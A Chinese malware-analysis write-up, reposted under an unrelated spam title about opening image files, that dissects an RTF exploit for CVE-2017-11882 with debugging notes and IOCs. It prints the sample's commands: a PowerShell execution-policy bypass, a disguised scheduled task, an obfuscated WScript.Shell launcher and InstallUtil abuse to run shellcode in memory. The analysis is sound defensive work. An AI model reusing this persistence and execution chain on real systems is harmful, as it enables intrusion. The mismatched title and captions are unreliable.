aae格式图片怎么打开_图片格式无法打开_打开格式的图片

一、静态分析

近期,CVE-2017-11882漏洞攻击还是很多,各种变异样本层出不穷。近发现又一个CVE-2017-11882文档,为RTF格式文件,通过分析其shellcode,发现作者还是很用心的。

文档打开后,显示的是乱码,如下图所示

打开格式的图片_图片格式无法打开_aae格式图片怎么打开

其中,在乱码下面包含三个对象,从左到右分别是Package对象、公式对象和图片。

1、Package对象

最左边对象为Package对象,如下图所示:

打开格式的图片_aae格式图片怎么打开_图片格式无法打开

查看Package对象属性,其释放到临时目录下,文件名为e.m。

aae格式图片怎么打开_打开格式的图片_图片格式无法打开

查看%temp%目录,发现下面确实生成一个e.m文件。

打开格式的图片_aae格式图片怎么打开_图片格式无法打开

查看e.m文件,大小为94720,内容是一堆乱码。

图片格式无法打开_aae格式图片怎么打开_打开格式的图片

2、公式对象

中间对象是一个windows公式对象,如下图所示:

图片格式无法打开_aae格式图片怎么打开_打开格式的图片

3、图片

最右边的显示“0”的其实是一个图片,如下图所示:

打开格式的图片_图片格式无法打开_aae格式图片怎么打开

4、RTFOBJ分析

利用RTFOBJ工具分析RTF文件,发现无法顺利解析该格式,显然作者经过了特殊处理,结果如下图:

打开格式的图片_图片格式无法打开_aae格式图片怎么打开

二、动态分析

利用Process Monitor监控doc文档打开的动作,如下图所示:

图片格式无法打开_aae格式图片怎么打开_打开格式的图片

具体如下:

1、DOC文档打开后,winword.exe调用EQNEDT32.EXE执行。

2、EQNEDT32.EXE调用运行cmd.exe,具体为: cmd.exe /c %windir%System32WindowsPowerShellv1.0powershell.exe -ExecutionPolicy Bypass -File X7jnZ.ps1。

3、Powershell.exe执行后,复制InstallUtil.exe和wscript.exe两个文件到临时目录下,并分别保存为mscorsw.exe和winwsh.exe。

"C:Windowssystem32cmd.exe"  /c copy /y C:WindowsMicrosoft.NETFrameworkv2.0.50727InstallUtil.exe C:UsersadminAppDataLocalTempmscorsw.exe
"C:Windowssystem32cmd.exe" /c copy /y C:Windowssystem32wscript.exe C:UsersadminAppDataLocalTempwinwsh.exe

4、Powershell.exe创建任务,任务如下:

C:Windowssystem32schtasks.exe"  /create /sc minute /mo 3 /tn "Security Script kb00588535" /tr "C:UsersadminAppDataLocalTempwinwsh.exe //Nologo //E:vbscript //B C:UsersadminAppDataLocalTempWin836896.txt" /F
CreateObject(chr(87)&chr(115)&chr(99)&chr(114)&chr(105)&chr(112)&chr(116)&chr(46)&chr(83)&chr(104)&chr(101)&chr(108)&chr(108)).Run """C:UsersadminAppDataLocalTempmscorsw.exe"" /logfile= /u /LogToConsole=false ""C:UsersadminAppDataLocalTemptmp_Kquxaf.dat""", 0

创建的任务名为:“Security Script kb00588535”,时间间隔为:3分钟,可执行路径为临时目录下winwsh.exe(其实为wscript.exe),运行的vbs脚本为临时目录下Win836896.txt,文件内容如下:

5、VBS运行

VBS运行后,实际运行的mscorsw.exe(其实为InstallUtil.exe),调用的具体命令如下:

"C:UsersadminAppDataLocalTempmscorsw.exe"  /logfile= /u /LogToConsole=false "C:UsersadminAppDataLocalTemptmp_Kquxaf.dat"

其中, tmp_Kquxaf.dat是一个PE文件。修改为EXE文件后,其属性如下图所示:

图片格式无法打开_aae格式图片怎么打开_打开格式的图片

InstallUtil.exe安装程序工具是一个命令行实用工具,你可以通过此工具执行指定程序集中的安装程序组件,从而安装和卸载服务器资源。程序运行语法如下:

C:WindowsMicrosoft.NETFrameworkv4.0.30319>InstallUtil.exe
Microsoft (R) .NET Framework 安装实用工具版本 4.7.3056.0
版权所有 (C) Microsoft Corporation。保留所有权利。


用法: InstallUtil [/u | /uninstall] [option [...]] assembly [[[option [...]] assembly] [...]]


InstallUtil 执行每个给定程序集中的安装程序。
如果指定 /u 或 /uninstall 开关,则它卸载
程序集;反之,则安装它们。与其他
选项不同,/u 应用于所有的程序集,而不管它出现在命令行上
的位置。


安装程序以事务处理的方式完成: 如果其中的一个
程序集安装失败,则其他的所有安装程序集的安装
都会被回滚。卸载不是按事务处理的。


选项的格式为 /switch=[value]。出现在程序集名称之前的
任何选项都将应用到该程序集的安装。
选项是累积的但可以重写 - 为一个程序集指定的选项
将应用到下一个程序集,
除非为该选项指定一个新值。所有选项的默认设置是空的或为 False,
除非另行指定。


识别的选项:


用于安装任何程序集的选项:
/AssemblyName
程序集参数将被解释为程序集名称(Name,
Locale, PublicKeyToken, Version)。
默认情况下,将程序集参数解释为磁盘上的程序集的文件名。


/LogFile=[filename]
向其中写入进度的文件。如果为空,则不写入日志。默认为
.InstallLog


/LogToConsole={true|false}
如果为 false,则不向控制台输出。


/ShowCallStack
如果在安装过程中的任何时候发生异常,则将
调用堆栈输出到日志。


/InstallStateDir=[directoryname]
要在其中存储 .InstallState 文件的目录。默认为
程序集的目录。




在程序集中使用的各个安装程序可以识别其他
选项。若要了解这些选项,请在命令行上运行 InstallUtil,并在该命令后面带上
程序集的路径和 /? 或 /help 选项。

因此,上面VBS运行后,其用途竟然是卸载tmp_Kquxaf.dat,好奇怪。这个是什么操作

把InstallUtil.exe的参数修改为显示控制台,并且保存日志,运行后如下图所示:

打开格式的图片_aae格式图片怎么打开_图片格式无法打开

我们再来看,如果不加/u参数,也就是非卸载操作,而是安装操作,会如何?运行结果如下图所示:

aae格式图片怎么打开_打开格式的图片_图片格式无法打开

三、网络连接

利用wireshark抓包,发现文档打开后有发起DNS请求,该域名目前无法解析:

查询域名:

图片格式无法打开_aae格式图片怎么打开_打开格式的图片

由于无法判断是哪个进程发起的连接请求,于是修改本地hosts文件,让其ip解析为5.5.5.5

接着查看网络连接,发现PID为2532的进程发出了443连接请求,对应的进程是mscorsw.exe进程

根据前面的介绍,其实是tmp_Kquxaf.dat发出的网络操作。

"C:UsersadminAppDataLocalTempmscorsw.exe"  /logfile= /u /LogToConsole=false "C:UsersadminAppDataLocalTemptmp_Kquxaf.dat"

四、漏洞调试

根据cve-2017-11882漏洞特点,我们直接调试,断点中断在00411658位置,如下图所示:

图片格式无法打开_aae格式图片怎么打开_打开格式的图片

经过多次的复制操作后,栈溢出被覆盖,此时ESP位置内容为:

打开格式的图片_aae格式图片怎么打开_图片格式无法打开

其中0x0045159B是返回后的EIP地址,我们查看该处值为0xC3,正式汇编指令retn。

打开格式的图片_aae格式图片怎么打开_图片格式无法打开

本漏洞是典型的栈溢出漏洞,retn返回后,执行第一段shellcode指令。我们接着查看该shellcode在RTF文档中的位置,在位置在0x000427EB处,如下图所示:

aae格式图片怎么打开_图片格式无法打开_打开格式的图片

接下来,进行shellcode的解密操作:

打开格式的图片_图片格式无法打开_aae格式图片怎么打开

循环解密指令的长度为0x16CB,shellcode的密码位置在RTF文档的0x4287B处,如下图所示:

打开格式的图片_aae格式图片怎么打开_图片格式无法打开

经过xor 0Xb6解密操作后的shellcode如下图所示:

aae格式图片怎么打开_打开格式的图片_图片格式无法打开

该段shellcode执行后,动态获取需要调用的函数。接下来是获取e.m(Package对象)在临时目录的全路径:

图片格式无法打开_aae格式图片怎么打开_打开格式的图片

然后是对e.m文件进行解密操作,大小为0x17200,如下图所示:

图片格式无法打开_aae格式图片怎么打开_打开格式的图片

e.m解密后是一个PE文件,如下图所示:

打开格式的图片_图片格式无法打开_aae格式图片怎么打开

接着判断解密后的内容是否为合法的PE文件,如下图所示:

aae格式图片怎么打开_图片格式无法打开_打开格式的图片

然后在内存中运行该PE文件。

我们直接从内存中把解密后的PE文件导出到本地文件,并保存为mem.pe.exe,其属性如下:

打开格式的图片_aae格式图片怎么打开_图片格式无法打开

该PE文件其实是一个标准的windows系统CAB自解压安装文件,在文件中找到自安装运行的可执行路径为:cmd.exe /c %windir%System32WindowsPowerShellv1.0powershell.exe -ExecutionPolicy Bypass -File X7jnZ.ps1,如下图所示:

图片格式无法打开_aae格式图片怎么打开_打开格式的图片

我们用winrar解压缩,发现文件里面就包含一个X7jnZ.ps1文件,是Powershell运行脚本。

打开格式的图片_aae格式图片怎么打开_图片格式无法打开

终于X7jnZ.ps1文件发现了,我们来看其具体内容:

打开格式的图片_aae格式图片怎么打开_图片格式无法打开

直接利用powershell执行该脚本,结果如下:

powershell.exe -ExecutionPolicy Bypass -File X7jnZ.ps1
已复制 1 个文件。
powershell.exe : Get-Process : 找不到名为“avp”的进程。请验证该进程名称,然后再次调用 cmdlet。
所在位置 行:1 字符: 15
+ powershell.exe <<<< -ExecutionPolicy Bypass -File X7jnZ.ps1
+ CategoryInfo : NotSpecified: (Get-Process : 找...,然后再次调用 cmdlet。:String) [], RemoteException
+ FullyQualifiedErrorId : NativeCommandError


所在位置 行:53 字符: 20


+ $avp = Get-Process <<<< -Name avp


+ CategoryInfo : ObjectNotFound: (avp:String) [Get-Process], Proc


essCommandException


+ FullyQualifiedErrorId : NoProcessFoundForGivenName,Microsoft.PowerShell.


Commands.GetProcessCommand






Get-Process : 找不到名为“avpui”的进程。请验证该进程名称,然后再次调用 cmdlet





所在位置 行:54 字符: 22


+ $avpui = Get-Process <<<< -Name avpui


+ CategoryInfo : ObjectNotFound: (avpui:String) [Get-Process], Pr


ocessCommandException


+ FullyQualifiedErrorId : NoProcessFoundForGivenName,Microsoft.PowerShell.


Commands.GetProcessCommand






已复制 1 个文件。
成功: 成功创建计划任务 "Security Script kb00588535"
成功: 尝试运行 "Security Script kb00588535"

再次调用,会报错说tmp_Kquxaf.dat被占用,无法写入文件,因此,tmp_Kquxaf.dat文件也是X7jnZ.ps1脚本运行后释放出来的。此外,X7jnZ.ps1脚本还复制InstallUtil.exe和wscript.exe两个文件到临时目录下,并分别保存为mscorsw.exe和winwsh.exe,之后创建计划任务并启动,动作和动态分析一致。

图片格式无法打开_aae格式图片怎么打开_打开格式的图片

至此,样本执行后的动作基本分析完毕。

五、tmp_Kquxaf.dat初步分析

上文说到VBS脚本用途竟然是卸载tmp_Kquxaf.dat很奇怪。接下来分析一下tmp_Kquxaf.dat的作用。tmp_Kquxaf.dat是.net程序,当调用-u卸载的时候调用Uninstall函数,该函数的作用是创建互斥变量,并调用并运行函数GoCode.Exec(),如下图所示:

打开格式的图片_图片格式无法打开_aae格式图片怎么打开

我们来看GoCode类,根据其函数名和相关的变量,看出该类功能应该是内存执行shellcode。

打开格式的图片_图片格式无法打开_aae格式图片怎么打开

在IDA中查看EXEC函数,该函数先对shellcode字符串进行处理,shellcode字符串如下图所示:

图片格式无法打开_打开格式的图片_aae格式图片怎么打开

然后对上述字符串进行base64解码,再利用CreateRemote创建线程执行,如下图所示:

图片格式无法打开_aae格式图片怎么打开_打开格式的图片

六、结语

本文主要分析了一个CVE-2017-11882样本,该样本总结起来有以下几个特点:

1、样本自身包含恶意代码,没有利用远程下载的方式,避免winword打开后直接访问网络。

2、样本shellcode功能较为复杂,包含API地址获取、解密、内存加载运行等。

3、奇怪的一些点是,创建的任务每隔3分钟运行,有点太频繁;访问的域名目前未启用,该样本难道是测试作用?

IOCS:

Virus.doc:4a639d907a9e5401c3f7b26d65ca4b4ca5e8feb3406739afd9d7bcb126c50467(virustotal:19 engines detected this file)

tmp_Kquxaf.dat:c2e92ca88cac02a17232006b869a44d8b1686c8955cdb4ff7e7c717d3aa20a09(virustotal:26 engines detected this file)

X7jnZ.ps1:140bd1c5b0162b359db20eaef888ceb106cdca0fab234999aae1ce99f18d5800(virustotal:No matches found)

Pe.mem.exe:0be1b9ec479ddd3be6ef6b76068100ec3c00d2a4148d6dab402af88489b75aee(virustotal:No matches found)

domain:

这输入标题

图片格式无法打开_打开格式的图片_aae格式图片怎么打开

———END———
限 时 特 惠: 本站每日持续更新海量各大内部创业教程,永久会员只需98元,全站资源免费下载 点击查看详情
站 长 微 信: yjxmw518